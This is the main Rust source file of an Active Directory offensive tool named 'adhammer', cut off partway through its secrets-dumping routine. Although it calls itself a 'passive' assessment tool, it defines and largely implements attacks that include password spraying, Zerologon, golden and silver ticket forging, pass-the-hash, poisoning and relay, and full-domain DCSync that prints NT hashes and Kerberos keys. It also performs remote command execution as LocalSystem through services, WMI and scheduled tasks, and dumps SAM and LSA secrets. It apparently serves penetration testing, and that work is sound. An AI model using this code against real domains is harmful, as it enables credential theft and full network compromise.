use adhammer_collector::{Collector, LdapConfig};
use adhammer_graph::ControlGraph;
use adhammer_report::{Report, RiskConfig};
use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
mod adcs_relay;
mod esc_registry;
mod guided;
mod host_posture;
mod interactive;
mod poison;
mod session;
mod ui;
mod winrm;
#[derive(Parser)]
#[command(
name = "adhammer",
version,
about = "Passive AD security assessment in Rust"
)]
struct Cli {
#[arg(long)]
old: bool,
#[arg(long)]
no_save: bool,
#[arg(long, global = true, value_name = "[user:pass@]host:port")]
socks: Option<String>,
#[command(subcommand)]
cmd: Option<Command>,
}
#[derive(Subcommand)]
enum Command {
Scan(ScanArgs),
#[command(subcommand)]
Enum(EnumCmd),
#[command(subcommand)]
Attack(AttackCmd),
#[command(subcommand)]
Check(CheckCmd),
#[command(subcommand)]
Dump(DumpCmd),
Auto(AutoArgs),
}
#[derive(Subcommand)]
enum CheckCmd {
Adcs(CheckAdcsArgs),
}
#[derive(Parser)]
struct CheckAdcsArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
json: bool,
}
#[derive(Subcommand)]
enum DumpCmd {
Laps(DumpLapsArgs),
Gmsa(DumpGmsaArgs),
}
#[derive(Parser)]
struct DumpLapsArgs {
#[arg(long)]
target: Option<String>,
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
dc: Option<String>,
}
#[derive(Parser)]
struct DumpGmsaArgs {
#[arg(long)]
target: String,
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
}
#[derive(Parser)]
struct AutoArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
host: Option<String>,
#[arg(long)]
domain: Option<String>,
#[arg(long)]
realm: Option<String>,
#[arg(long)]
kdc: Option<String>,
#[arg(long, default_value = "adhammer-report.md")]
out: String,
#[arg(long)]
yes: bool,
#[arg(long)]
no_impact: bool,
}
#[derive(Subcommand)]
enum EnumCmd {
Samr(SamrArgs),
Lsa(LsaArgs),
Net(NetArgs),
Dns(DnsArgs),
Adcs(DnsArgs),
Esc(EscArgs),
Posture(PostureArgs),
Sessions(SessionsArgs),
}
#[derive(Parser)]
struct SessionsArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
}
#[derive(Parser)]
struct PostureArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
}
#[derive(Parser)]
struct ZerologonArgs {
#[arg(long)]
host: String,
#[arg(long)]
netbios: String,
#[arg(long, default_value_t = 2000)]
attempts: u32,
#[arg(long)]
exploit: bool,
#[arg(long)]
yes: bool,
#[arg(long)]
confirm_brick_risk: bool,
#[arg(long, default_value = "")]
domain: String,
#[arg(long)]
restore: Option<String>,
#[arg(long)]
restore_password: Option<String>,
}
#[derive(Parser)]
struct EscArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
ca: String,
}
#[derive(Parser)]
struct NetArgs {
#[arg(long)]
targets: String,
#[arg(long, default_value = "256")]
concurrency: usize,
#[arg(long)]
deep: bool,
#[arg(long)]
zone: Option<String>,
#[arg(long, default_value = "public,private")]
community: String,
}
#[derive(Subcommand)]
enum AttackCmd {
Roast(ScanArgs),
Spray(SprayArgs),
Abuse(AbuseArgs),
Coerce(CoerceArgs),
Zerologon(ZerologonArgs),
Rbcd(RbcdArgs),
Constrained(RbcdArgs),
Asktgt(AsktgtArgs),
Dcsync(DcsyncArgs),
Capture(CaptureArgs),
Poison(PoisonArgs),
Relay(RelayArgs),
Exec(ExecArgs),
Atexec(ExecArgs),
Wmiexec(ExecArgs),
Secretsdump(SecretsdumpArgs),
Gmsa(GmsaArgs),
Laps(LapsArgs),
Winrm(WinrmArgs),
Esc1(Esc1Args),
Certipy(CertipyArgs),
Golden(GoldenArgs),
Silver(SilverArgs),
Pth(PthArgs),
Unconstrained(ScanArgs),
Badsuccessor(BadsuccessorArgs),
Esc4(Esc4Args),
Shadowcred(ShadowcredArgs),
Dcshadow(ScanArgs),
}
#[derive(Parser)]
struct PthArgs {
#[arg(long)]
host: String,
#[arg(long)]
kdc: Option<String>,
#[arg(long)]
realm: String,
#[arg(long)]
domain_sid: String,
#[arg(long)]
krbtgt_aes256: Option<String>,
#[arg(long)]
service_aes256: Option<String>,
#[arg(long)]
rc4: bool,
#[arg(long)]
spn: Option<String>,
#[arg(long, default_value = "Administrator")]
user: String,
#[arg(long, default_value_t = 500)]
rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
groups: Vec<u32>,
#[arg(long)]
command: Option<String>,
}
#[derive(Parser)]
struct SilverArgs {
#[arg(long)]
realm: String,
#[arg(long)]
service_aes256: String,
#[arg(long)]
rc4: bool,
#[arg(long)]
spn: String,
#[arg(long)]
domain_sid: String,
#[arg(long, default_value = "Administrator")]
user: String,
#[arg(long, default_value_t = 500)]
rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
groups: Vec<u32>,
#[arg(long)]
out: Option<String>,
}
#[derive(Parser)]
struct GoldenArgs {
#[arg(long)]
kdc: String,
#[arg(long)]
realm: String,
#[arg(long)]
krbtgt_aes256: String,
#[arg(long)]
rc4: bool,
#[arg(long)]
domain_sid: String,
#[arg(long, default_value = "Administrator")]
user: String,
#[arg(long, default_value_t = 500)]
rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
groups: Vec<u32>,
#[arg(long)]
out: Option<String>,
#[arg(long)]
verify_spn: Option<String>,
}
#[derive(Parser)]
struct CertipyArgs {
#[arg(long)]
ca: String,
#[arg(long)]
template: String,
#[arg(long = "target-upn")]
target_upn: String,
#[arg(long, default_value = "Recon")]
subject: String,
#[arg(long)]
key: Option<String>,
#[arg(long, default_value = "certipy.stub")]
out: String,
#[arg(long, default_value = "certipy.csr")]
csr_out: String,
#[arg(long)]
schema_version: Option<i32>,
#[arg(long)]
host: Option<String>,
#[arg(long)]
domain: Option<String>,
#[arg(long)]
user: Option<String>,
#[arg(long, default_value = "")]
password: String,
}
#[derive(Parser)]
struct Esc1Args {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
ca: String,
#[arg(long)]
template: String,
#[arg(long)]
upn: String,
#[arg(long, default_value = "esc1.crt")]
out: String,
#[arg(long)]
pkinit: bool,
#[arg(long)]
kdc: Option<String>,
}
#[derive(Parser)]
struct GmsaArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
target: String,
}
#[derive(Parser)]
struct LapsArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
target: Option<String>,
}
#[derive(Parser)]
struct DnsArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
}
#[derive(Parser)]
struct WinrmArgs {
#[arg(long)]
host: String,
#[arg(long, default_value_t = 5985)]
port: u16,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
#[arg(long)]
command: String,
}
#[derive(Parser)]
struct SecretsdumpArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
}
#[derive(Parser)]
struct ExecArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
#[arg(long)]
command: String,
}
#[derive(Parser)]
struct RelayArgs {
#[arg(long, default_value = "0.0.0.0:445")]
listen: String,
#[arg(long)]
target_dc: String,
#[arg(long)]
realm: String,
#[arg(long)]
target_object: String,
#[arg(long, default_value = "ldap-keycred")]
target: String,
#[arg(long)]
trustee_sid: Option<String>,
#[arg(long)]
ca_host: Option<String>,
#[arg(long, default_value = "User")]
ca_template: String,
#[arg(long, default_value_t = 443)]
ca_port: u16,
#[arg(long, default_value_t = true)]
ca_insecure: bool,
}
#[derive(Parser)]
struct PoisonArgs {
#[arg(long)]
spoof_ip: std::net::Ipv4Addr,
}
#[derive(Parser)]
struct CaptureArgs {
#[arg(long, default_value = "0.0.0.0:445")]
listen: String,
}
#[derive(Parser)]
struct DcsyncArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
target: Option<String>,
#[arg(long)]
all: bool,
}
#[derive(Parser)]
struct AsktgtArgs {
#[arg(long)]
user: String,
#[arg(long)]
realm: String,
#[arg(long)]
kdc: String,
#[arg(long)]
password: Option<String>,
#[arg(long)]
nt_hash: Option<String>,
#[arg(long)]
out: Option<String>,
}
#[derive(Parser)]
struct BadsuccessorArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
container: Option<String>,
#[arg(long)]
dmsa_name: String,
#[arg(long)]
target: String,
}
#[derive(Parser)]
struct Esc4Args {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
template: String,
#[arg(long)]
enrollee: Option<String>,
}
#[derive(Parser)]
struct ShadowcredArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
target: String,
#[arg(long)]
pkinit: bool,
#[arg(long)]
kdc: Option<String>,
#[arg(long)]
realm: Option<String>,
}
#[derive(Parser)]
struct RbcdArgs {
#[arg(long)]
kdc: String,
#[arg(long)]
realm: String,
#[arg(long)]
account: String,
#[arg(long)]
account_password: String,
#[arg(long)]
impersonate: String,
#[arg(long)]
target_spn: String,
}
#[derive(Parser)]
struct CoerceArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
listener: String,
#[arg(long, default_value = "spoolss")]
pipe: String,
#[arg(long)]
target: Option<String>,
}
#[derive(Parser)]
struct AbuseArgs {
#[arg(long)]
url: Option<String>,
#[arg(long)]
user: Option<String>,
#[arg(long)]
password: Option<String>,
#[arg(long)]
insecure: bool,
#[arg(long)]
action: String,
#[arg(long)]
target: String,
#[arg(long, default_value = "")]
value: String,
#[arg(long)]
realm: Option<String>,
#[arg(long)]
kdc: Option<String>,
#[arg(long)]
ldap389: bool,
#[arg(long)]
host: Option<String>,
}
#[derive(Parser)]
struct SprayArgs {
#[arg(long)]
kdc: String,
#[arg(long)]
realm: String,
#[arg(long)]
users: String,
#[arg(long)]
password: String,
}
#[derive(Parser)]
struct LsaArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
#[arg(long)]
name: String,
}
#[derive(Parser)]
struct SamrArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
}
#[derive(Parser)]
struct ScanArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
base_dn: Option<String>,
#[arg(long, default_value = "json", value_parser = ["json", "html"])]
format: String,
#[arg(long)]
kdc: Option<String>,
#[arg(long)]
sysvol: Option<String>,
#[arg(long)]
insecure: bool,
#[arg(long)]
gssapi: bool,
#[arg(long)]
bloodhound: Option<String>,
}
#[tokio::main]
async fn main() -> Result<()> {
tracing_subscriber::fmt().with_target(false).init();
let cli = Cli::parse();
if let Some(spec) = &cli.socks {
match smb2_client::socks::Socks5::parse(spec) {
Some(cfg) => {
ui::info(&format!("routing all TCP through SOCKS5 {}", cfg.proxy));
smb2_client::socks::set_proxy(Some(cfg));
}
None => {
anyhow::bail!("invalid --socks value '{spec}' (expected [user:pass@]host:port)");
}
}
}
match cli.cmd {
None => interactive::run(cli.old, cli.no_save).await,
Some(cmd) => dispatch(cmd).await,
}
}
async fn dispatch(cmd: Command) -> Result<()> {
match cmd {
Command::Scan(a) => scan(a).await,
Command::Enum(EnumCmd::Samr(a)) => samr(a).await,
Command::Enum(EnumCmd::Lsa(a)) => lsa(a).await,
Command::Enum(EnumCmd::Net(a)) => netenum(a).await,
Command::Enum(EnumCmd::Dns(a)) => dnsenum(a).await,
Command::Enum(EnumCmd::Adcs(a)) => adcsenum(a).await,
Command::Enum(EnumCmd::Esc(a)) => esc_registry_scan(a).await,
Command::Enum(EnumCmd::Posture(a)) => posture_scan(a).await,
Command::Enum(EnumCmd::Sessions(a)) => sessions(a).await,
Command::Attack(AttackCmd::Roast(a)) => roast(a).await,
Command::Attack(AttackCmd::Spray(a)) => spray(a).await,
Command::Attack(AttackCmd::Abuse(a)) => abuse(a).await,
Command::Attack(AttackCmd::Coerce(a)) => coerce(a).await,
Command::Attack(AttackCmd::Zerologon(a)) => zerologon(a).await,
Command::Attack(AttackCmd::Rbcd(a)) => rbcd(a).await,
Command::Attack(AttackCmd::Constrained(a)) => rbcd(a).await,
Command::Attack(AttackCmd::Asktgt(a)) => asktgt(a).await,
Command::Attack(AttackCmd::Dcsync(a)) => dcsync(a).await,
Command::Attack(AttackCmd::Capture(a)) => smb2_client::server::capture(&a.listen)
.await
.map_err(Into::into),
Command::Attack(AttackCmd::Poison(a)) => poison::poison(a.spoof_ip).await,
Command::Attack(AttackCmd::Relay(a)) => relay(a).await,
Command::Attack(AttackCmd::Exec(a)) => exec_cmd(a).await,
Command::Attack(AttackCmd::Atexec(a)) => atexec_cmd(a).await,
Command::Attack(AttackCmd::Wmiexec(a)) => wmiexec_cmd(a).await,
Command::Attack(AttackCmd::Secretsdump(a)) => secretsdump(a).await,
Command::Attack(AttackCmd::Gmsa(a)) => gmsa(a).await,
Command::Attack(AttackCmd::Laps(a)) => laps(a).await,
Command::Attack(AttackCmd::Winrm(a)) => winrm_exec(a).await,
Command::Attack(AttackCmd::Esc1(a)) => esc1(a).await,
Command::Attack(AttackCmd::Certipy(a)) => certipy(a).await,
Command::Attack(AttackCmd::Golden(a)) => golden(a).await,
Command::Attack(AttackCmd::Silver(a)) => silver(a).await,
Command::Attack(AttackCmd::Pth(a)) => pth(a).await,
Command::Attack(AttackCmd::Unconstrained(a)) => unconstrained(a).await,
Command::Attack(AttackCmd::Badsuccessor(a)) => badsuccessor(a).await,
Command::Attack(AttackCmd::Esc4(a)) => esc4(a).await,
Command::Attack(AttackCmd::Shadowcred(a)) => shadowcred(a).await,
Command::Attack(AttackCmd::Dcshadow(a)) => dcshadow(a).await,
Command::Check(CheckCmd::Adcs(a)) => check_adcs(a).await,
Command::Dump(DumpCmd::Laps(a)) => dump_laps(a).await,
Command::Dump(DumpCmd::Gmsa(a)) => dump_gmsa(a).await,
Command::Auto(a) => {
guided::guided(guided::GuidedArgs {
url: a.url,
user: a.user,
password: a.password,
insecure: a.insecure,
host: a.host,
domain: a.domain,
realm: a.realm,
kdc: a.kdc,
out: a.out,
yes: a.yes,
no_impact: a.no_impact,
})
.await
}
}
}
async fn rbcd(a: RbcdArgs) -> Result<()> {
let etype = adhammer_kerberos::rbcd_impersonate(
&a.account,
&a.account_password,
&a.realm,
&a.kdc,
&a.impersonate,
&a.target_spn,
)
.await?;
println!(
"[+] got service ticket for {} as {} (enc-part etype {etype})",
a.target_spn, a.impersonate
);
println!(" RBCD chain succeeded — impersonation ticket obtained.");
Ok(())
}
async fn asktgt(a: AsktgtArgs) -> Result<()> {
let ccache = match (&a.nt_hash, &a.password) {
(Some(h), None) => {
let nt = parse_nt_hash(h)?;
println!("[*] overpass-the-hash (RC4-HMAC) for {}", a.user);
adhammer_kerberos::overpass_the_hash(&a.user, &a.realm, &a.kdc, &nt).await?
}
(None, Some(pw)) => adhammer_kerberos::asktgt(&a.user, &a.realm, &a.kdc, pw).await?,
_ => anyhow::bail!("provide exactly one of --password or --nt-hash"),
};
let out = a.out.unwrap_or_else(|| format!("{}.ccache", a.user));
std::fs::write(&out, &ccache)?;
println!(
"[+] TGT obtained for {} → {out} ({} bytes)",
a.user,
ccache.len()
);
println!(" export KRB5CCNAME={out} (use with Kerberos-aware tooling)");
Ok(())
}
async fn dcsync(a: DcsyncArgs) -> Result<()> {
use ms_drsr::DrsSession;
if a.all {
return dcsync_all(&a).await;
}
let mut sess = DrsSession::bind(&a.host, &a.domain, &a.user, &a.password).await?;
match a.target {
None => {
let handle_hex: String = sess.handle().iter().map(|b| format!("{b:02x}")).collect();
println!("[+] DRSBind OK — sealed replication handle {handle_hex} (no --target: bind-only check)");
}
Some(t) => {
let (rid, nt, kerb) = sess.dcsync(&a.domain, &t).await?;
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
t, rid, nthex
);
for k in &kerb {
println!("{}:{}:{}", t, k.etype_name(), hex::encode(&k.key));
}
}
}
Ok(())
}
async fn sessions(a: SessionsArgs) -> Result<()> {
use dcerpc::srvsvc::SrvsvcClient;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let pipe = smb.open_pipe("srvsvc").await?;
let mut srv = SrvsvcClient::bind(&mut smb, pipe).await?;
let (list, ret) = srv.enum_sessions().await?;
if ret != 0 {
eprintln!("[!] NetrSessionEnum returned 0x{ret:08x} (access denied? need local admin on many hosts)");
}
if list.is_empty() {
eprintln!("[-] no sessions returned on {}", a.host);
} else {
eprintln!("[+] {} session(s) on {}:", list.len(), a.host);
for s in &list {
let from = if s.client.is_empty() { "?" } else { &s.client };
println!(" {:<24} from {from}", s.user);
}
}
Ok(())
}
async fn dcsync_all(a: &DcsyncArgs) -> Result<()> {
use dcerpc::samr::SamrClient;
use ms_drsr::DrsSession;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let pipe = smb.open_pipe("samr").await?;
let mut samr = SamrClient::bind(&mut smb, pipe).await?;
let users = samr.enumerate_all_users(&format!("\\\\{}", a.host)).await?;
eprintln!(
"[+] {} accounts enumerated; replicating secrets…",
users.len()
);
let mut sess = DrsSession::bind(&a.host, &a.domain, &a.user, &a.password).await?;
let (mut ok, mut fail) = (0u32, 0u32);
for (_rid, name) in &users {
match sess.dcsync(&a.domain, name).await {
Ok((rid, nt, kerb)) => {
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
name, rid, nthex
);
for k in &kerb {
println!("{}:{}:{}", name, k.etype_name(), hex::encode(&k.key));
}
ok += 1;
}
Err(e) => {
tracing::warn!("dcsync {name} failed: {e}");
fail += 1;
}
}
}
eprintln!("[+] full-domain DCSync complete: {ok} dumped, {fail} failed");
Ok(())
}
fn parse_nt_hash(s: &str) -> Result<[u8; 16]> {
let hex_str = s.rsplit(':').next().unwrap_or(s).trim();
let raw = hex::decode(hex_str).context("--nt-hash must be hex")?;
anyhow::ensure!(
raw.len() == 16,
"--nt-hash must be a 32-hex NT hash (got {} bytes)",
raw.len()
);
Ok(raw.try_into().unwrap())
}
fn parse_forge_key(s: &str, rc4: bool) -> Result<Vec<u8>> {
let raw = hex::decode(s.trim()).context("forge key must be hex")?;
let want = if rc4 { 16 } else { 32 };
anyhow::ensure!(
raw.len() == want,
"expected a {}-hex {} key, got {} hex",
want * 2,
if rc4 { "RC4/NT-hash" } else { "AES256" },
raw.len() * 2
);
Ok(raw)
}
async fn smb_login(
smb: &mut smb2_client::SmbClient,
host: &str,
domain: &str,
user: &str,
password: &str,
nt_hash: &Option<String>,
) -> Result<()> {
match nt_hash {
Some(h) => {
let nt = parse_nt_hash(h)?;
smb.login_hash(host, domain, user, &nt).await?;
}
None => {
anyhow::ensure!(!password.is_empty(), "provide --password or --nt-hash");
smb.login(host, domain, user, password).await?;
}
}
Ok(())
}
async fn exec_cmd(a: ExecArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let r = dcerpc::svcctl::exec(&mut smb, &a.host, &a.command).await?;
let clean = if r.cleaned {
"service cleaned up"
} else {
"SERVICE NOT DELETED"
};
if r.ran {
println!(
"[+] executed as LocalSystem (service '{}', start win32 {}); {clean}",
r.service, r.start_win32
);
} else {
println!("[-] service '{}' created but start returned win32 {} (command may not have run); {clean}", r.service, r.start_win32);
}
match r.output {
Some(o) if !o.is_empty() => println!("\n{o}"),
Some(_) => println!("[*] command produced no output"),
None => println!("[*] output not captured (see warnings; command may still have run)"),
}
Ok(())
}
async fn wmiexec_cmd(a: ExecArgs) -> Result<()> {
use smb2_client::SmbClient;
let hash = a.nt_hash.as_deref().map(parse_nt_hash).transpose()?;
anyhow::ensure!(
!a.password.is_empty() || hash.is_some(),
"provide --password or --nt-hash"
);
let tag = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_millis() as u64)
.unwrap_or(0)
& 0xff_ffff;
let out_rel = format!("Windows\\Temp\\ADHwmi{tag:06x}.out");
let out_abs = format!("C:\\{out_rel}");
let wrapped = format!("cmd.exe /Q /c {} > {out_abs} 2>&1", a.command);
let hr = dcerpc::dcom_wmi::wmi_exec(
&a.host,
&a.domain,
&a.user,
&a.password,
hash.as_ref(),
"ADHAMMER",
&wrapped,
)
.await?;
if hr != 0 {
crate::ui::warn(&format!(
"Win32_Process.Create returned HRESULT 0x{:08x} (command may not have run)",
hr as u32
));
} else {
crate::ui::ok("process created via WMI (Win32_Process.Create)");
}
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
let mut out = None;
for _ in 0..24 {
match smb.read_file_delete(&out_rel).await {
Ok(b) => {
out = Some(b);
break;
}
Err(_) => tokio::time::sleep(std::time::Duration::from_millis(300)).await,
}
}
match out {
Some(b) if !b.is_empty() => {
let s = String::from_utf8_lossy(&b);
println!("\n{}", s.trim_end());
}
Some(_) => crate::ui::info("command produced no output"),
None => crate::ui::info("output not captured (command may still have run)"),
}
Ok(())
}
async fn atexec_cmd(a: ExecArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
let tag = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.subsec_nanos())
.unwrap_or(0);
let out_rel = format!("Windows\\Temp\\ADhat{tag:08x}.out");
let full = format!("{} > C:\\{out_rel} 2>&1", a.command);
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let (path, run_hr) =
dcerpc::tsch::atexec(&mut smb, &full, &a.domain, &a.user, &a.password, &a.host).await?;
println!("[+] scheduled task {path} registered + run as LocalSystem (run HRESULT 0x{run_hr:08x}); deleted");
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
match smb.read_file_delete(&out_rel).await {
Ok(b) if !b.is_empty() => println!(
"\n{}",
String::from_utf8_lossy(&b).replace('\r', "").trim_end()
),
Ok(_) => println!("[*] command produced no output"),
Err(e) => println!("[*] output not captured: {e}"),
}
Ok(())
}
async fn secretsdump(a: SecretsdumpArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let mut rrp_sam: Option<Vec<adhammer_secrets::SamAccount>> = None;
let mut rrp_lsa: Option<Vec<adhammer_secrets::LsaSecret>> = None;
let bootkey_rrp = {
let mut reg = match dcerpc::rrp::RegistryClient::connect(
&mut smb,
&a.domain,
&a.user,
&a.password,
&a.host,
)
.await
{
Ok(r) => Some(r),
Err(e) => {
eprintln!(
"[!] Remote Registry unreachable ({e}) — falling back to `reg save` hives"
);
None
}
};
match reg.as_mut() {
Some(r) => {
match r.hklm().await {
Ok(hklm) => {
let bk_res = adhammer_secrets::bootkey_via_rrp_hklm(r, &hklm).await;
let bk_opt = match bk_res {
Ok(bk) => {
eprintln!(
"[+] bootkey via RRP: {}",
bk.iter().map(|b| format!("{b:02x}")).collect::<String>()
);
if let Ok(users) =
adhammer_secrets::dump_sam_via_rrp_hklm(r, &hklm, &bk).await
{
eprintln!("[+] SAM via RRP: {} account(s)", users.len());
rrp_sam = Some(users);
}
if let Ok(secrets) =
adhammer_secrets::dump_lsa_via_rrp_hklm(r, &hklm, &bk).await
{
eprintln!("[+] LSA via RRP: {} secret(s)", secrets.len());
rrp_lsa = Some(secrets);
}
Some(bk)
}
Err(e) => {
eprintln!(
"[!] RRP bootkey failed ({e}) — falling back to `reg save` hives"
);
None
}
};
r.close_handle(&hklm).await;
bk_opt
}
Err(e) => {
eprintln!(
"[!] RRP OpenHKLM failed ({e}) — falling back to `reg save` hives"
);
None
}
}
}
None => None,
}
};
let sys_rel = "Windows\\Temp\\ADh_sys.tmp";
let sam_rel = "Windows\\Temp\\ADh_sam.tmp";
let sec_rel = "Windows\\Temp\\ADh_sec.tmp";
let want_system = bootkey_rrp.is_none();
let want_sam = rrp_sam.is_none();
let want_security = rrp_lsa.is_none();
let mut hives: Vec<(&str, &str)> = Vec::new();
if want_system {
hives.push(("SYSTEM", sys_rel));
}
if want_sam {
hives.push(("SAM", sam_rel));
}
if want_security {
hives.push(("SECURITY", sec_rel));
}
for (hive, rel) in &hives {
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let cmd = format!("reg save HKLM\\{hive} C:\\{rel} /y");
let ret = dcerpc::svcctl::run(&mut smb, &cmd).await?;
tracing::info!("reg save {hive}: SCM start win32 {ret}");
}
let (system, sam, security) = if hives.is_empty() {
(None, None, None)
} else {
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
let sys = if want_system {
Some(
smb.read_file_delete(sys_rel)
.await
.context("read SYSTEM hive over C$")?,
)
} else {
None
};
let sa = if want_sam {
smb.read_file_delete(sam_rel).await.ok()
} else {
None
};
let se = if want_security {
smb.read_file_delete(sec_rel).await.ok()
} else {
None
};
(sys, sa, se)
};
eprintln!(
"[+] hives: SYSTEM {}, SAM {}, SECURITY {}",
system
.as_ref()
.map_or("skipped (RRP)".into(), |v| format!("{} B", v.len())),
sam.as_ref()
.map_or("unavailable".into(), |v| format!("{} B", v.len())),
security
.as_ref()
.map_or("unavailable".into(), |v| format!("{} B", v.len())),
);
if sam.is_none() || security.is_none() {
eprintln!(
"[!] a protected hive was denied by the target (SeBackupPrivilege / hardening). \
On a DC, use `attack dcsync` for domain secrets — SAM/LSA here cover only local creds."
);
}
let sam_accounts: Option<Vec<adhammer_secrets::SamAccount>> = if let Some(u) = rrp_sam {
Some(u)
} else {
match (sam.as_ref(), bootkey_rrp.as_ref(), system.as_ref()) {
(Some(s), Some(bk), _) => adhammer_secrets::local_dump_with_bootkey(s, bk)
.map_err(|e| eprintln!("[-] SAM decrypt failed: {e}"))
.ok(),
(Some(s), None, Some(sys)) => adhammer_secrets::local_dump(sys, s)
.map_err(|e| eprintln!("[-] SAM decrypt failed: {e}"))
.ok(),
_ => None,
}
};
match sam_accounts {
Some(accounts) => {
eprintln!("[+] {} local account(s):", accounts.len());
for acct in accounts {
println!("{}", acct.secretsdump_line());
}
}
None => eprintln!("[*] SAM hive unavailable — skipping local accounts"),
}
if let Some(secrets) = rrp_lsa {
eprintln!("[+] {} LSA secret(s):", secrets.len());
for s in &secrets {
if s.name.eq_ignore_ascii_case("$MACHINE.ACC") {
let nt: String = ntlmssp::md4(&s.secret)
.iter()
.map(|b| format!("{b:02x}"))
.collect();
println!("$MACHINE.ACC:aad3b435b51404eeaad3b435b51404ee:{nt}:::");
} else {
print_lsa_secret(&s.name, &s.secret);
}
}
eprintln!(
"[*] DCC2 cache via RRP not yet implemented — falling back requires the SECURITY hive."
);
return Ok(());
}
let Some(security) = security.as_ref() else {
eprintln!("[*] SECURITY hive unavailable — skipping LSA secrets / DCC2");
return Ok(());
};
let lsa_result = match (bootkey_rrp.as_ref(), system.as_ref()) {
(Some(bk), _) => adhammer_secrets::local_lsa_with_bootkey(security, bk),
(None, Some(sys)) => adhammer_secrets::local_lsa(sys, security),
_ => Err("no bootkey and no SYSTEM hive — cannot derive LSA key".into()),
};
match lsa_result {
Ok(dump) => {
eprintln!("[+] {} LSA secret(s):", dump.secrets.len());
for s in &dump.secrets {
